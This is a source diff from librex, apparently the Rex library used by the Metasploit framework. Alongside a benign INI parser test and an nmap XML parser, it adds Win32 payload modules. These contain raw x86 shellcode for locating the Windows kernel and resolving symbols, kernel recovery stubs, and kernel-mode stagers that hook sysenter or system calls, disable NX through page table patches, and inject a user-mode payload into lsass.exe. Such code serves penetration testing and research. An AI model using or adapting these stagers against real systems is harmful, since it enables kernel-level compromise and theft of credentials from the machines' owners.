librex 0.0.1

data/lib/rex/parser/ini.rb.ut.rb

@@ -0,0 +1,29 @@
+#!/usr/bin/env ruby
+
+$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
+
+require 'test/unit'
+require 'rex/parser/ini'
+
+class Rex::Parser::Ini::UnitTest < Test::Unit::TestCase
+
+	Klass   = Rex::Parser::Ini
+	TestIni = <<END
+[group1]
+cat=dog
+bird=frog
+
+[group2]
+salad=cake
+END
+
+	def test_parse
+		ini = Klass.from_s(TestIni)
+
+		assert_equal('dog', ini['group1']['cat'])
+		assert_equal('frog', ini['group1']['bird'])
+		assert_equal('cake', ini['group2']['salad'])
+		assert_equal(TestIni + "\n", ini.to_s)
+	end
+	
+end

data/lib/rex/parser/nmap_xml.rb

@@ -0,0 +1,111 @@
+
+require 'rexml/document'
+
+module Rex
+module Parser
+
+#
+# Stream parser for nmap -oX xml output
+#
+# Yields a hash representing each host found in the xml stream.  Each host
+# will look something like the following:
+#	{
+#		"status" => "up",
+#		"addrs"  => { "ipv4" => "192.168.0.1", "mac" => "00:0d:87:a1:df:72" },
+#		"ports"  => [
+#			{ "portid" => "22", "state" => "closed", ... },
+#			{ "portid" => "80", "state" => "open", ... },
+#			...
+#		]
+#	}
+#
+# Usage:
+# <tt>
+# parser = NmapXMLStreamParser.new { |host|
+#	# do stuff with the host
+# }
+# REXML::Document.parse_stream(File.new(nmap_xml), parser)
+# </tt>
+# -- or --
+# <tt>
+# parser = NmapXMLStreamParser.new
+# parser.on_found_host = Proc.new { |host|
+#	# do stuff with the host
+# }
+# REXML::Document.parse_stream(File.new(nmap_xml), parser)
+# </tt>
+#
+# This parser does not maintain state as well as a tree parser, so malformed
+# xml will trip it up.  Nmap shouldn't ever output malformed xml, so it's not
+# a big deal.
+#
+class NmapXMLStreamParser
+
+	attr_accessor :on_found_host
+
+	def initialize(&block)
+		reset_state
+		on_found_host = block if block
+	end
+
+	def reset_state
+		@host = { "status" => nil, "addrs" => {}, "ports" => [] }
+	end
+
+	def tag_start(name, attributes)
+		case name
+		when "address"
+			@host["addrs"][attributes["addrtype"]] = attributes["addr"]
+			if (attributes["addrtype"] =~ /ipv[46]/)
+				@host["addr"] = attributes["addr"]
+			end
+		when "osclass"
+			@host["os_vendor"]   = attributes["vendor"]
+			@host["os_family"]   = attributes["osfamily"]
+			@host["os_version"]  = attributes["osgen"]
+			@host["os_accuracy"] = attributes["accuracy"]
+		when "osmatch"
+			if(attributes["accuracy"].to_i == 100)
+				@host["os_match"] = attributes["name"]
+			end
+		when "uptime"
+			@host["last_boot"]   = attributes["lastboot"]
+		when "hostname"
+			if(attributes["type"] == "PTR")
+				@host["reverse_dns"] = attributes["name"]
+			end
+		when "status"
+			# <status> refers to the liveness of the host; values are "up" or "down"
+			@host["status"] = attributes["state"]
+		when "port"
+			@host["ports"].push(attributes)
+		when "state"
+			# <state> refers to the state of a port; values are "open", "closed", or "filtered"
+			@host["ports"].last["state"] = attributes["state"]
+		when "service"
+			# Store any service info with the associated port.  There shouldn't
+			# be any collisions on attribute names here, so just merge them.
+			@host["ports"].last.merge!(attributes)
+		end
+	end
+
+	def tag_end(name)
+		case name
+		when "host"
+			on_found_host.call(@host) if on_found_host
+			reset_state
+		end
+	end
+
+	# We don't need these methods, but they're necessary to keep REXML happy
+	def text(str); end
+	def xmldecl(version, encoding, standalone); end
+	def cdata; end
+	def comment(str); end
+	def instruction(name, instruction); end
+	def attlist; end
+end
+
+end
+end
+

data/lib/rex/payloads.rb

@@ -0,0 +1 @@
+require 'rex/payloads/win32'

data/lib/rex/payloads/win32.rb

@@ -0,0 +1,2 @@
+require 'rex/payloads/win32/common'
+require 'rex/payloads/win32/kernel'

data/lib/rex/payloads/win32/common.rb

@@ -0,0 +1,26 @@
+module Rex
+module Payloads
+module Win32
+
+module Common
+
+	#
+	# Returns a stub that resolves the location of a symbol and then
+	# calls it.  Refer to the following link for more details:
+	#
+	# http://uninformed.org/index.cgi?v=3&a=4&p=10
+	#
+	def self.resolve_call_sym
+		"\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
+		"\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
+		"\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
+		"\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
+		"\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
+		"\x61\xff\xe0"
+	end
+
+end
+
+end
+end
+end

data/lib/rex/payloads/win32/kernel.rb

@@ -0,0 +1,53 @@
+module Rex
+module Payloads
+module Win32
+
+require 'rex/payloads/win32/kernel/common'
+require 'rex/payloads/win32/kernel/recovery'
+require 'rex/payloads/win32/kernel/stager'
+require 'rex/payloads/win32/kernel/migration'
+
+module Kernel
+
+	#
+	# Constructs a kernel-mode payload using the supplied options.  The options
+	# can be:
+	#
+	# Recovery      : The recovery method to use, such as 'spin'.
+	# Stager        : The stager method to use, such as 'sud_syscall_hook'.
+	# RecoveryStub  : The recovery stub that should be used, if any.
+	# UserModeStub  : The user-mode payload to execute, if any.
+	# KernelModeStub: The kernel-mode payload to execute, if any.
+	#
+	def self.construct(opts = {})
+		payload = nil
+
+		# Generate the recovery stub
+		if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'])
+			opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts)
+		end
+
+		# Append supplied recovery stub information in case there is some
+		# context specific recovery that must be done.
+		if opts['AppendRecoveryStub']
+			opts['RecoveryStub'] = (opts['RecoveryStub'] || '') + opts['AppendRecoveryStub']
+		end
+
+		# Generate the stager
+		if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'])
+			payload = Kernel::Stager.send(opts['Stager'], opts)
+		# Or, generate the migrator
+		elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'])
+			payload = Kernel::Migration.send(opts['Migrator'], opts)
+		else
+			raise ArgumentError, "A stager or a migrator must be specified."
+		end
+
+		payload
+	end
+
+end
+
+end
+end
+end

data/lib/rex/payloads/win32/kernel/common.rb

@@ -0,0 +1,54 @@
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+require 'rex/payloads/win32/common'
+
+#
+# This class provides common methods that may be shared across more than
+# one kernel-mode payload.  Many of these are from the following paper:
+#
+# http://www.uninformed.org/?v=3&a=4&t=sumry
+#
+module Common
+
+	#
+	# Returns a stub that will find the base address of ntoskrnl and
+	# place it in eax.  This method works by using an IDT entry.  Credit
+	# to eEye.
+	#
+	def self.find_nt_idt_eeye
+		"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
+	end
+
+	#
+	# Returns a stub that will find the base address of ntoskrnl and 
+	# place it in eax.  This method uses a pointer found in KdVersionBlock.
+	#
+	def self.find_nt_kdversionblock
+		"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
+	end
+
+	#
+	# Returns a stub that will find the base address of ntoskrnl and 
+	# place it in eax.  This method uses a pointer found in the
+	# processor control region as a starting point.
+	#
+	def self.find_nt_pcr
+		"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
+	end
+
+	#
+	# Alias for resolving symbols.
+	#
+	def self.resolve_call_sym
+		Rex::Payloads::Win32::Common.resolve_call_sym
+	end
+
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/migration.rb

@@ -0,0 +1,12 @@
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+module Migration
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/recovery.rb

@@ -0,0 +1,50 @@
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+#
+# Recovery stubs are responsible for ensuring that the kernel does not crash.
+# They must 'recover' after the exploit has succeeded, either by consuming
+# the thread or continuing it on with its normal execution.  Recovery stubs
+# will often be exploit dependent.
+#
+module Recovery
+
+	#
+	# The default recovery method is to spin the thread
+	#
+	def self.default(opts = {})
+		spin(opts)
+	end
+
+	#
+	# Infinite 'hlt' loop.
+	#
+	def self.spin(opts = {})
+		"\xf4\xeb\xfd" 
+	end
+
+	#
+	# Restarts the idle thread by jumping back to the entry point of
+	# KiIdleLoop.  This requires a hard-coded address of KiIdleLoop.
+	# You can pass the 'KiIdleLoopAddress' in the options hash.
+	#
+	def self.idlethread_restart(opts = {})
+		# Default to fully patched XPSP2
+		opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?
+
+		"\x31\xC0" +                                     # xor eax,eax
+		"\x64\xC6\x40\x24\x02" +                         # mov byte [fs:eax+0x24],0x2
+		"\x8B\x1D\x1C\xF0\xDF\xFF" +                     # mov ebx,[0xffdff01c]
+		"\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
+		"\x6A\x00" +                                     # push byte +0x0
+		"\xFF\xE0"                                       # jmp eax
+	end
+
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/stager.rb

@@ -0,0 +1,171 @@
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+#
+# Stagers are responsible for reading in another payload and executing it.
+# The reading in of the payload may actually be as simple as copying it to
+# another location.  The executing of it may be done either directly or
+# indirectly.
+#
+module Stager
+	
+	#
+	# Works on Vista, Server 2008 and 7.
+	#
+	# Full assembly source at:
+	# /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
+	#
+	# This payload works as follows:
+	# * Our sysenter handler and ring3 stagers are copied over to safe location.
+	# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
+	# * The srv2.sys thread we are in is placed in a halted state.
+	# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
+	# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
+	# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
+	# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
+	# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
+	#
+	def self.stager_sysenter_hook( opts = {} )
+		
+		# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
+		pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
+		
+		# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
+		kstager   = opts['StagerAddressKernel'] || 0xFFDF0400
+		
+		# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
+		ustager   = opts['StagerAddressUser'] || 0x7FFE0400
+		
+		# Target SYSTEM process to inject ring3 payload into.
+		process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
+		
+		# A simple hash of the process name based on the first 4 wide chars.
+		# Assumes process is located at '*:\windows\system32\'.
+		checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )
+		
+		# The ring0 -> ring3 payload blob.
+		r0 =	"\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
+				"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
+				"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
+				"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
+				"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
+				"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
+				"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
+				"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
+				"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
+				"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
+				"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
+				"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
+				"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
+		
+		# The ring3 payload.
+		r3 = opts['UserModeStub'] || ''
+		
+		# Patch in the required values.
+		r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
+		r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
+		r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
+		r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
+		r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
+		
+		# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
+		return r0 + r3
+	end
+	
+	#
+	# XP SP2/2K3 SP1 ONLY
+	#
+	# Returns a kernel-mode stager that transitions from r0 to r3 by placing
+	# code in an unused portion of SharedUserData and then pointing the
+	# SystemCall attribute to that unused portion.  This has the effect of
+	# causing the custom code to be called every time a user-mode process
+	# tries to make a system call.  The returned payload also checks to make
+	# sure that it's running in the context of lsass before actually running
+	# the embedded payload.
+	#
+	def self.sud_syscall_hook(opts = {})
+		r0_recovery = opts['RecoveryStub'] || Recovery.default
+		r3_payload  = opts['UserModeStub'] || ''
+		r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
+		r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
+		
+		r0_stager =
+			"\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
+			"\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
+			"\x4B"                                         + # dec ebx
+			"\xFC"                                         + # cld
+			"\x8D\x7B\x7C"                                 + # lea edi,[ebx+0x7c]
+			"\x5E"                                         + # pop esi
+			"\x6A" + [r3_size].pack('C')                   + # push byte num_dwords
+			"\x59"                                         + # pop ecx
+			"\xF3\xA5"                                     + # rep movsd
+			"\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
+			"\x39\x3B"                                     + # cmp [ebx],edi
+			"\x74\x09"                                     + # jz 
+			"\x8B\x03"                                     + # mov eax,[ebx]
+			"\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
+			"\x89\x01"                                     + # mov [ecx],eax
+			"\x89\x3B"                                     + # mov [ebx],edi
+			r0_recovery +
+			"\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
+			r3_prefix +
+			r3_payload
+
+		return r0_stager
+	end
+
+protected
+
+	#
+	# This stub is used by stagers to check to see if the code is
+	# running in the context of a user-mode system process.  By default,
+	# this process is lsass.exe.  If it isn't, it runs the code
+	# specified by append.  Otherwise, it jumps past that code and
+	# into what should be the expected r3 payload to execute.  This
+	# stub also makes sure that the payload does not run more than
+	# once.
+	#
+	def self._run_only_in_win32proc_stub(append = '', opts = {}) 
+		opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?
+
+		process  = opts['RunInWin32Process'].downcase
+		checksum = 
+			process[0]         +
+			(process[2] << 8)  +
+			(process[1] << 16) +
+			(process[3] << 24)
+
+		"\x60"                                 + # pusha
+		"\x6A\x30"                             + # push byte +0x30
+		"\x58"                                 + # pop eax
+		"\x99"                                 + # cdq
+		"\x64\x8B\x18"                         + # mov ebx,[fs:eax]
+		"\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
+		"\x74\x26"                             + # jz 0x5f
+		"\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
+		"\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
+		"\x83\xC3\x28"                         + # add ebx,byte +0x28
+		"\x8B\x0B"                             + # mov ecx,[ebx]
+		"\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
+		"\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
+		"\x75\x10"                             + # jnz 0x5f
+		"\x64\x8B\x18"                         + # mov ebx,[fs:eax]
+		"\x43"                                 + # inc ebx
+		"\x43"                                 + # inc ebx
+		"\x43"                                 + # inc ebx
+		"\x80\x3B\x01"                         + # cmp byte [ebx],0x1
+		"\x74\x05"                             + # jz 0x5f
+		"\xC6\x03\x01"                         + # mov byte [ebx],0x1
+		"\xEB" + [append.length + 1].pack('C') + # jmp stager
+		"\x61" + append						        # restore regs
+	end
+
+
+end
+
+end
+end
+end
+end